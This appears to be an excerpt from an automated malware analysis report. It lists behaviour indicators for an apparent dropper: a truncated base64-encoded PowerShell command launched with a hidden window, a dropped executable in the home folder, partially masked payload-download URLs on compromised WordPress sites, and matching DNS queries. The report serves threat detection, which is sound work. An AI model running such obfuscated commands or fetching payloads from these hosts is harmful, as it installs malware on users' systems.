Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAWAByAHQAdABvAGoAcgB6AHcAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8ATABmAHoAYQBzAHQAcgBlAGQAIAAjAD4AIAAkAE0AaQBsAHYAaQB1AGcAdgBhAHQAPQAnAFQAaQBoAGwAYg...
- %HOMEPATH%\267.exe
- %HOMEPATH%\267.exe
- http://ne#.###arenginiai.lt/wp-admin/MJSXwNZo/
- http://zi##.h-ide.pl/gp9aakx/iWduWudlc/
- http://st#####.talon-eng.co.uk/wp-content/ftffm7iy7-o698k6pd5-88760289/
- DNS ASK ne#.###arenginiai.lt
- DNS ASK zi##.h-ide.pl
- DNS ASK st#####.talon-eng.co.uk
- DNS ASK el#####.polsri.ac.id
- DNS ASK bh####hasthol.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAWAByAHQAdABvAGoAcgB6AHcAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8ATABmAHoAYQBzAHQAcgBlAGQAIAAjAD4AIAAkAE0AaQBsAHYAaQB1AGcAdgBhAHQAPQAnAFQAaQBoAGwAYg...' (with hidden window)